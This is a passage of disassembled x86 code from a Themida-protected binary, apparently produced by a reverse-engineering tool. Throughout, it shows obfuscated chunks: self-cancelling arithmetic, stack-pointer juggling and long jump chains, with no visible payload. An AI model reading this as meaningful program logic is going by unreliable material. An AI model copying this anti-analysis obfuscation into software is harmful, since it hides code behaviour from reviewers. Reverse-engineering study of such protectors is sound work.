		xor	ebp, 123D1B07h
		jmp	loc_59EA6C
sub_59F4E7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_59F4FE:				; CODE XREF: Themida_:005A1EF2j
		add	edx, ecx
		jmp	loc_59C23A

; =============== S U B	R O U T	I N E =======================================



sub_59F505	proc near		; CODE XREF: sub_59390B+7080j

; FUNCTION CHUNK AT 00594F95 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00595FD7 SIZE 0000000D BYTES

		push	ebp
		push	eax
		mov	eax, 71C2065h
		mov	ebp, eax
		pop	eax
		shl	ebp, 3
		or	ebp, 160650B7h
		jmp	loc_594F95
sub_59F505	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E918


loc_59F51D:				; CODE XREF: sub_59E918-9C8Bj
		xor	bl, ch
		pop	cx
		jmp	loc_591791
; END OF FUNCTION CHUNK	FOR sub_59E918
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FD45


loc_59F526:				; CODE XREF: sub_59FD45+4750j
		add	esp, 4
		jmp	sub_59ADCD
; END OF FUNCTION CHUNK	FOR sub_59FD45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59F52E:				; CODE XREF: sub_59390B-E39j
		mov	ebx, esi
		mov	esi, [esp-14h+arg_C]
		jmp	sub_595BAD
; ---------------------------------------------------------------------------


loc_59F538:				; CODE XREF: sub_59390B+6500j
		push	eax
		push	ebx
		jmp	loc_59AE38
; END OF FUNCTION CHUNK	FOR sub_59390B

; =============== S U B	R O U T	I N E =======================================



sub_59F53F	proc near		; CODE XREF: sub_590AC5+94Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00592B3E SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005958D4 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005965C9 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00597FE1 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00598EB3 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00599A7E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059B138 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059B8CD SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0059BB02 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059D59D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059D9F6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A1E18 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005A45DE SIZE 00000008 BYTES

		push	ebx
		mov	ebx, 4C07E76h
		xor	edx, ebx
		mov	ebx, [esp-0Ch+arg_8]
		add	esp, 4
		jmp	loc_598EB3
sub_59F53F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ADCD


loc_59F552:				; CODE XREF: sub_59ADCD+13j
		sub	ebp, 26447CE9h
		push	[esp+4+var_4]
		pop	eax
		add	esp, 4
		push	ebp
		pop	dword ptr [edi+20h]
		jmp	loc_5A5B8E
; END OF FUNCTION CHUNK	FOR sub_59ADCD
; ---------------------------------------------------------------------------


loc_59F568:				; CODE XREF: Themida_:0059DC6Fj
		mov	fs:[edx], al
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_59F570:				; CODE XREF: Themida_:005A2490j
		shl	ebx, 8
		or	ebx, 346F06BFh
		shl	ebx, 3
		jmp	loc_5A2BB9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0D58


loc_59F581:				; CODE XREF: sub_5A0D58+86Dj
		add	eax, ecx
		mov	ecx, [esp+0]
		add	esp, 4
		push	[esp-4+arg_0]
		push	dword ptr [esp+0]
		pop	esi
		push	ecx
		jmp	loc_5A5731
; END OF FUNCTION CHUNK	FOR sub_5A0D58
; ---------------------------------------------------------------------------


loc_59F596:				; CODE XREF: Themida_:00595E42j
		sub	dword ptr [esp+4], 48906E4Ah
		add	dword ptr [esp+4], 1760DE9h
		jmp	loc_5946C0

; =============== S U B	R O U T	I N E =======================================



sub_59F5AB	proc near		; CODE XREF: sub_59CFD4-7AF7j

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00596009 SIZE 0000000E BYTES

		push	ebx
		sub	esp, 4
		mov	[esp+8+var_8], eax
		mov	eax, 51FE19EBh
		push	esi
		mov	esi, 5F98547Fh
		shr	esi, 2
		not	esi
		inc	esi
		jmp	loc_596009
sub_59F5AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_59F5C8	proc near		; CODE XREF: sub_59E918-88E0j

var_6		= dword	ptr -6
var_2		= byte ptr -2

; FUNCTION CHUNK AT 005922C2 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005936D8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059AFB2 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0059B688 SIZE 00000007 BYTES

		push	ebx
		mov	bl, ch
		mov	dl, bl
		jmp	loc_59B688
sub_59F5C8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59F5D2:				; CODE XREF: sub_59390B-22BFj
		sub	bl, al
		pop	eax
		jmp	loc_592F9B
; ---------------------------------------------------------------------------


loc_59F5DA:				; CODE XREF: sub_59390B+3B70j
		sub	al, 0D8h
		sub	al, dl
		add	al, 0D8h
		push	ebx
		mov	bl, 0F1h
		shl	bl, 7
		inc	bl
		add	bl, 0B9h
		jmp	loc_5A2AA0
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59F5F0:				; CODE XREF: Themida_:0059EB0Cj
		push	72DA2265h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_591C61
; ---------------------------------------------------------------------------


loc_59F600:				; CODE XREF: Themida_:0059200Bj
		sub	bh, 0B6h
		add	al, bh
		pop	ebx
		jmp	loc_5A0118
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59F60B:				; CODE XREF: sub_59390B+7E86j
		add	edx, 0EFD6F30h
		mov	edi, [esp-1Ch+arg_14]
		jmp	loc_598AEA
; ---------------------------------------------------------------------------


loc_59F619:				; CODE XREF: sub_59390B+BB26j
		pop	ebp
		xor	esi, [esp-1Eh+arg_14+2]
		xor	[esp-1Eh+arg_14+2], esi
		xor	esi, [esp-1Eh+arg_14+2]
		jmp	loc_591CE8
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BF22


loc_59F628:				; CODE XREF: sub_59BF22+504Bj
		add	[esp+10h+var_8], edi
		pop	edi
		pop	eax
		jmp	loc_59A9FB
; END OF FUNCTION CHUNK	FOR sub_59BF22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59F633:				; CODE XREF: sub_59390B-1EC8j
		sub	bl, 22h
		jmp	loc_5A3E43
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59F63B:				; CODE XREF: Themida_:0059F85Bj
		add	esi, 24936A51h
		add	esi, edx
		sub	esi, 24936A51h
		pop	edx
		jmp	loc_59E5F5
; ---------------------------------------------------------------------------


loc_59F64F:				; CODE XREF: Themida_:005A10B2j
		mov	ebp, 5B513A04h
		shr	ebp, 3
		jmp	loc_59B0A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59F65C:				; CODE XREF: sub_59390B-E2Ej
		add	ebx, 4
		xchg	ebx, [esp-14h+arg_C]
		mov	esp, [esp-14h+arg_C]
		retn
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
		jmp	loc_5A2361
; ---------------------------------------------------------------------------


loc_59F66B:				; CODE XREF: Themida_:00595EA1j
		not	dword ptr [esp]
		pop	edx
		push	edi
		mov	edi, 488D5DF1h
		xor	edx, edi
		pop	edi
		add	edx, 690F51E9h
		sub	ecx, edx
		jmp	loc_5915BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592E1C


loc_59F685:				; CODE XREF: sub_592E1C+7CFCj
		mov	eax, [esp+8+var_8]
		add	esp, 4
		push	812h
		mov	[esp+8+var_8], ebp
		jmp	loc_5923BD
; END OF FUNCTION CHUNK	FOR sub_592E1C
; ---------------------------------------------------------------------------


loc_59F69B:				; CODE XREF: Themida_:005A03E6j
		add	al, cl
		pop	ecx
		pop	ecx
		push	ebx
		mov	ebx, esp
		push	eax
		jmp	loc_59EB43
; ---------------------------------------------------------------------------


loc_59F6A8:				; CODE XREF: Themida_:005A50ECj
		and	ebx, 43D87E25h
		and	ebx, 29EA0B17h
		sub	ebx, 0EE56CBF6h
		jmp	loc_59B79D
; ---------------------------------------------------------------------------


loc_59F6BF:				; CODE XREF: Themida_:005A1CAEj
		or	esi, 17FC63D4h
		jmp	loc_598383
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F6E


loc_59F6CA:				; CODE XREF: sub_5A3F6E+194Bj
		add	dword ptr [esp+0], 4
		pop	edi
		push	ebp
		jmp	loc_59C316
; END OF FUNCTION CHUNK	FOR sub_5A3F6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59AB43


loc_59F6D8:				; CODE XREF: sub_59AB43-9DD5j
		mov	ebx, [esp-8+arg_4]
		push	ecx
		jmp	loc_59D2CA
; END OF FUNCTION CHUNK	FOR sub_59AB43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59F6E1:				; CODE XREF: sub_59390B+19EFj
		xor	eax, 106938ACh
		add	esi, eax
		jmp	loc_5A160F
; ---------------------------------------------------------------------------


loc_59F6ED:				; CODE XREF: sub_59390B+C21Fj
		pop	esi
		add	edx, 8F9185D8h
		push	edx
		mov	edx, 28144F14h
		neg	edx
		neg	edx
		sub	edx, 0B3612492h
		sub	ebx, edx
		mov	edx, [esp+0]
		add	esp, 4
		sub	ebx, edx
		push	eax
		mov	eax, 74B32A82h
		add	ebx, eax
		pop	eax
		jmp	loc_59952C
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59F71C:				; CODE XREF: Themida_:005A2140j
		mov	esi, [esp]
		push	72E2h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_592F39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595ED9


loc_59F734:				; CODE XREF: sub_595ED9+3j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		add	eax, 4
		push	esi
		mov	esi, 7CEB15BAh
		not	esi
		add	esi, 2D7B7A25h
		xor	esi, 0D33D593Ah
		shl	esi, 4
		sub	esi, 3AD3D4FCh
		add	eax, esi
		push	dword ptr [esp+0]
		pop	esi
		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	ecx, esp
		add	ecx, 4
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		xchg	eax, [esp+0]
		mov	esp, [esp+0]
		mov	ecx, [esp-8+arg_0]
		sub	esp, 4
		mov	[esp+0], eax
		push	esp
		jmp	loc_592D83
; END OF FUNCTION CHUNK	FOR sub_595ED9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0D58


loc_59F79B:				; CODE XREF: sub_5A0D58+2F0Cj
		sub	ebx, 75A01972h
		neg	ebx
		dec	ebx
		sub	ebx, 0AD14B740h
		sub	esi, ebx
		pop	ebx
		mov	ebx, [esp+0]
		add	esp, 4
		xor	esi, [esp-4+arg_0]
		xor	[esp-4+arg_0], esi
		xor	esi, [esp-4+arg_0]
		jmp	loc_597584
; END OF FUNCTION CHUNK	FOR sub_5A0D58
; ---------------------------------------------------------------------------
		push	dword ptr [edi+38h]
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	ebx
		jmp	loc_598810
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591F0D


loc_59F7D3:				; CODE XREF: sub_591F0D+10B7Fj
		and	eax, 2ACF3E6Ah
		shl	eax, 2
		xor	eax, 0F3AAEEE4h
		neg	eax
		not	eax
		shl	eax, 6
		dec	eax
		sub	eax, 110E2474h
		sub	eax, 518FB447h
		add	edx, 69AC1A4Eh
		add	edx, eax
		sub	edx, 69AC1A4Eh
		mov	eax, [esp+10h+var_10]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_59BD3D
; END OF FUNCTION CHUNK	FOR sub_591F0D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A113A


loc_59F811:				; CODE XREF: sub_5A113A+113Fj
		add	esp, 4
		push	esi
		mov	esi, 12A25BF9h
		jmp	loc_59E85C
; END OF FUNCTION CHUNK	FOR sub_5A113A
; ---------------------------------------------------------------------------
		lodsb
		add	al, 6
		sub	al, 9
		jmp	loc_59B48F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59F829:				; CODE XREF: sub_59390B+8D13j
		neg	ebp
		jmp	loc_59BA49
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D82E


loc_59F830:				; CODE XREF: sub_59D82E-4BF2j
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_59D82E
; ---------------------------------------------------------------------------


loc_59F835:				; CODE XREF: Themida_:005959D1j
		mov	eax, 199C0BEFh
		push	eax
		not	dword ptr [esp]
		pop	eax
		shl	eax, 6
		sub	eax, 781BDCE9h
		jmp	loc_59C533
; ---------------------------------------------------------------------------


loc_59F84C:				; CODE XREF: Themida_:0059907Bj
		sub	edi, 340FC8Fh
		mov	ecx, edi
		pop	edi
		push	edx
		mov	edx, 4D863504h
		jmp	loc_59F63B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A4D6


loc_59F860:				; CODE XREF: sub_59A4D6+5EBAj
		mov	edi, 4
		add	edx, edi
		pop	edi
		xor	edx, [esp+0]
		xor	[esp+0], edx
		xor	edx, [esp+0]
		pop	esp
; END OF FUNCTION CHUNK	FOR sub_59A4D6
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59F872:				; CODE XREF: sub_59390B-2802j
		push	5554h
		jmp	loc_599D6A
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594C24


loc_59F87C:				; CODE XREF: sub_594C24+5DB6j
		pop	eax
		xchg	ebp, [esp+4+var_4]
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+4+var_4]
		jmp	loc_5A2F09
; END OF FUNCTION CHUNK	FOR sub_594C24
; ---------------------------------------------------------------------------


loc_59F895:				; CODE XREF: Themida_:00592FE1j
		sub	esp, 4
		jmp	loc_5A245B
; ---------------------------------------------------------------------------


loc_59F8A0:				; CODE XREF: Themida_:00590F0Dj
		add	esp, 4
		jmp	loc_5968AA
; ---------------------------------------------------------------------------


loc_59F8AB:				; CODE XREF: Themida_:00596308j
		sub	dword ptr [esp+8], 1C00DA0h
		pop	ebx
		push	esi
		jmp	loc_594ACC
; ---------------------------------------------------------------------------


loc_59F8BA:				; CODE XREF: Themida_:0059EB2Ej
		sub	ch, 0D3h
		jmp	loc_595F9A

; =============== S U B	R O U T	I N E =======================================



sub_59F8C2	proc near		; CODE XREF: sub_59390B+11Aj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00590BB5 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0059460B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00594920 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00598F44 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059BE04 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059C05B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059DA84 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0059DF78 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059E4BF SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0059FE63 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A07C2 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A51BD SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A5A94 SIZE 00000015 BYTES

		push	ebx
		push	esp
		jmp	loc_59E4BF
sub_59F8C2	endp

; ---------------------------------------------------------------------------


loc_59F8C9:				; DATA XREF: Themida_:005907F8o
		mov	cx, [esp]
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_59EA21
; ---------------------------------------------------------------------------


loc_59F8D5:				; CODE XREF: Themida_:00597451j
		push	261C3B19h
		pop	eax
		shr	eax, 5
		dec	eax
		push	0
		sub	dword ptr [esp], 6A5D22B5h
		jmp	loc_59AF23
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0BFE


loc_59F8F0:				; CODE XREF: sub_5A0BFE-32F9j
		mov	edx, 444B4EC5h
		mov	esi, edx
		pop	edx
		push	edx
		jmp	loc_597DC8
; END OF FUNCTION CHUNK	FOR sub_5A0BFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59F8FE:				; CODE XREF: sub_59390B+A830j
		add	edx, 0BCFF95A6h
		add	ecx, edx
		pop	edx
		jmp	loc_599C7B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59F90C:				; CODE XREF: Themida_:0059F263j
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	eax
		mov	eax, 4
		add	esi, eax
		jmp	loc_5A0135
; ---------------------------------------------------------------------------


loc_59F94F:				; CODE XREF: Themida_:0059301Ej
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5A11C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59F95B:				; CODE XREF: sub_59390B+284Fj
		pop	eax
		pop	dword ptr [esp+0]
		pop	esp
		test	ecx, eax
		pushf
		jmp	loc_5925E9
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59F968:				; CODE XREF: Themida_:0059E88Ej
		add	ecx, 3C66644h
		sub	ecx, 7ADD0BC1h
		jmp	loc_5A4557
; ---------------------------------------------------------------------------


loc_59F979:				; CODE XREF: Themida_:005A3A0Cj
		mov	[esp], ebx
		mov	ebx, 2
		mov	ecx, ebx
		pop	ebx
		add	edi, 0C42E90h
		add	edi, ecx
		push	edx
		mov	edx, 0C42E90h
		sub	edi, edx
		pop	edx
		mov	ecx, [esp]
		jmp	loc_5A215E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59822A


loc_59F99D:				; CODE XREF: sub_59822A-7014j
		xor	[esp+0], eax
		xor	eax, [esp+0]
		pop	esp
		shl	byte ptr [esp-4+arg_0],	cl
		pushf
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_59822A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59F9AD:				; CODE XREF: sub_59390B+441Cj
		add	esp, 4
		push	6777h
		mov	[esp-18h+arg_10], ebx
		mov	ebx, esp
		jmp	loc_592AD7
; ---------------------------------------------------------------------------


loc_59F9C2:				; CODE XREF: sub_59390B+C81j
		push	dword ptr [edi+eax*4]
		push	[esp+4+var_4]
		jmp	loc_5A5A48
; ---------------------------------------------------------------------------


loc_59F9CD:				; CODE XREF: sub_59390B+6521j
		pop	edi
		sub	esi, 4
		jmp	loc_5A1F81
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59F9D6:				; CODE XREF: Themida_:005928C0j
		push	74A4h
		jmp	loc_5A0B64
; ---------------------------------------------------------------------------


loc_59F9E0:				; CODE XREF: Themida_:0059A44Bj
		mov	[esp], ebx
		push	35F7h
		mov	[esp], eax
		push	ecx
		mov	ch, dl
		jmp	loc_590D37
; ---------------------------------------------------------------------------


loc_59F9F3:				; DATA XREF: Themida_:00590988o
		push	dword ptr [esp]
		jmp	loc_590B71
; ---------------------------------------------------------------------------


loc_59F9FB:				; CODE XREF: Themida_:005A3CB5j
		xor	edi, 31A30A6Eh
		add	esi, edi
		pop	edi
		jmp	loc_5911AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DC9E


loc_59FA09:				; CODE XREF: sub_59DC9E+17j
		pop	esp
		push	[esp-4+arg_0]
		pop	edx
		add	esp, 4
		mov	edi, ebp
		mov	ebp, [esp+0]
		push	ebx
		mov	ebx, esp
		push	eax
		mov	eax, 4
		jmp	loc_5A3E8D
; END OF FUNCTION CHUNK	FOR sub_59DC9E

; =============== S U B	R O U T	I N E =======================================



sub_59FA27	proc near		; CODE XREF: sub_59FD45-2855j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005981AD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059B210 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A1DD6 SIZE 00000020 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], eax
		mov	eax, 41CD0218h
		neg	eax
		push	edi
		jmp	loc_59B210
sub_59FA27	endp

; ---------------------------------------------------------------------------


loc_59FA3A:				; CODE XREF: Themida_:0059B1C3j
		sub	eax, ecx
		jmp	loc_59E159
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59FA41:				; CODE XREF: sub_59390B+103D5j
		mov	al, 9
		or	al, 0B4h
		shr	al, 3
		add	al, 8Dh
		push	ecx
		mov	ecx, esp
		jmp	loc_59926B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59FA52:				; CODE XREF: Themida_:0059BC83j
		mov	edx, eax
		pop	eax
		add	edx, 0B75A9B09h
		jmp	loc_59E7D7
; ---------------------------------------------------------------------------


loc_59FA60:				; CODE XREF: Themida_:00596F54j
		push	edx
		mov	edx, 77752DA5h
		mov	ecx, edx
		pop	edx
		inc	ecx
		xor	ecx, 326676B1h
		jmp	loc_59D983
; ---------------------------------------------------------------------------


loc_59FA75:				; CODE XREF: Themida_:00591045j
		add	ebp, 0C3A53DD7h
		mov	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_5A18D8
; ---------------------------------------------------------------------------


loc_59FA85:				; CODE XREF: Themida_:0059ED84j
		xor	ebp, 470F0AD1h
		add	esi, 72122F2Fh
		add	esi, ebp
		sub	esi, 72122F2Fh
		pop	ebp
		push	eax
		mov	eax, 4
		jmp	loc_5A1EAD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59FAA5:				; CODE XREF: sub_59390B-1037j
		xor	ecx, 327D260Ch
		shr	ecx, 6
		jmp	loc_59C71D
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A113A


loc_59FAB3:				; CODE XREF: sub_5A113A-5B9j
		pop	esi
		xchg	edx, [esp+18h+var_18]
		mov	esp, [esp+18h+var_18]
		pop	[esp+4+var_4]
		pop	esp
		rol	[esp-4+arg_0], cl
		pushf
		jmp	loc_59EE47
; END OF FUNCTION CHUNK	FOR sub_5A113A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590AC5


loc_59FAC8:				; CODE XREF: sub_590AC5+CA33j
		pop	eax
		sub	esp, 4
		mov	[esp+0], eax
		push	936h
		jmp	loc_5A1A75
; END OF FUNCTION CHUNK	FOR sub_590AC5
; ---------------------------------------------------------------------------


loc_59FAD9:				; CODE XREF: Themida_:0059AA8Fj
		mov	[esp], esi
		mov	esi, 4
		sub	ebp, esi
		jmp	loc_59A047
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5964AF


loc_59FAE8:				; CODE XREF: sub_5964AF+3j
		mov	[esp-8+arg_4], ecx
		mov	ecx, 6486B3Fh
		and	edx, ecx
		jmp	loc_5918CC
; END OF FUNCTION CHUNK	FOR sub_5964AF
; ---------------------------------------------------------------------------


loc_59FAF7:				; CODE XREF: Themida_:0059C2EDj
		sub	ecx, edx
		pop	edx
		jmp	loc_599C0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FD45


loc_59FAFF:				; CODE XREF: sub_59FD45-90FBj
		inc	edx
		jmp	loc_5A5AA9
; END OF FUNCTION CHUNK	FOR sub_59FD45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59FB05:				; CODE XREF: sub_59390B+10CCEj
		pop	eax
		push	edx
		mov	edx, 71C371E3h
		dec	edx
		push	esi
		mov	esi, 48774D46h
		shr	esi, 8
		add	esi, 795BBF8h
		add	edx, 50E8049Bh
		add	edx, esi
		sub	edx, 50E8049Bh
		jmp	loc_59F6ED
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59FB2F:				; CODE XREF: Themida_:0059652Aj
		xor	ebx, 2AA643DEh
		dec	ebx
		add	ebx, 0AF32528Eh
		sub	ebp, ebx
		pop	ebx
		mov	edi, [esp]
		add	esp, 4
		push	edx
		jmp	loc_59D586
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59FB4B:				; CODE XREF: sub_59390B+A961j
		mov	ch, 0C4h
		shl	ch, 5
		not	ch
		push	eax
		mov	al, 0B3h
		xor	al, 0D2h
		sub	ch, al
		mov	eax, [esp+4+var_4]
		add	esp, 4
		add	al, ch
		pop	ecx
		sub	al, 0BBh
		sub	al, bl
		add	al, 0BBh
		push	dx
		jmp	loc_5A4D4F
; ---------------------------------------------------------------------------


loc_59FB72:				; CODE XREF: sub_59390B+8027j
		mov	[esp-14h+arg_C], ecx
		jmp	loc_59850F
; ---------------------------------------------------------------------------


loc_59FB7A:				; CODE XREF: sub_59390B+799Fj
		mov	[esp+10h+var_10], ebx
		mov	ebx, 5DED730Fh
		add	ebx, 0FFFFFFFFh
		shr	ebx, 3
		dec	ebx
		sub	ebx, 328362F2h
		sub	ebx, 0D93A4B6Ah
		add	edi, ebx
		pop	ebx
		push	edx
		mov	edx, 4
		sub	edi, edx
		jmp	loc_5A11F2
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E918


loc_59FBA8:				; CODE XREF: sub_59E918-B245j
		add	eax, 2
		xchg	eax, [esp+6+var_8+2]
		pop	esp
		jmp	loc_595C1B
; END OF FUNCTION CHUNK	FOR sub_59E918
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFD4


loc_59FBB6:				; CODE XREF: sub_59CFD4-5BC6j
		pop	ecx
		push	ecx
		push	4
		pop	ecx
		add	esi, ecx
		mov	ecx, [esp+10h+var_10]
		add	esp, 4
		xor	esi, [esp+0Ch+var_C]
		xor	[esp+0Ch+var_C], esi
		jmp	loc_595028
; END OF FUNCTION CHUNK	FOR sub_59CFD4
; ---------------------------------------------------------------------------


loc_59FBD4:				; CODE XREF: Themida_:0059D3BDj
		or	ebx, eax
		jmp	loc_596353
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59FBDB:				; CODE XREF: sub_59390B+106B8j
		mov	eax, 1A095741h
		add	eax, 0FFFFFFFFh
		inc	eax
		sub	eax, 31341599h
		inc	eax
		and	eax, 5EA9744Bh
		sub	eax, 48814005h
		add	ebp, eax
		pop	eax
		jmp	loc_5A45B8
; ---------------------------------------------------------------------------


loc_59FBFE:				; CODE XREF: sub_59390B+762Ej
		mov	edi, 6B3A2DE5h
		sub	ebp, edi
		pop	edi
		add	ebp, 161D1ACDh
		mov	ecx, [esp+14h+var_14]
		add	esp, 4
		jmp	loc_59B1AD
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59FC17:				; CODE XREF: Themida_:005A164Aj
		mov	ecx, 7B2309C3h
		add	ebx, ecx
		pop	ecx
		jmp	loc_59D5BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A431


loc_59FC24:				; CODE XREF: sub_59A431+3080j
		mov	ecx, esp
		add	ecx, 4
		push	eax
		mov	eax, 4
		add	ecx, eax
		pop	eax
		xchg	ecx, [esp+14h+var_14]
		pop	esp
		add	esi, 4
		xor	esi, [esp+10h+var_10]
		xor	[esp+10h+var_10], esi
		xor	esi, [esp+10h+var_10]
		pop	esp
		shr	eax, 0Bh
		xor	ecx, eax
		push	3F34h
		mov	[esp+10h+var_10], ecx
		jmp	loc_599019
; END OF FUNCTION CHUNK	FOR sub_59A431
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FD45


loc_59FC5B:				; CODE XREF: sub_59FD45-DBECj
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_596F8A
; END OF FUNCTION CHUNK	FOR sub_59FD45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A28F6


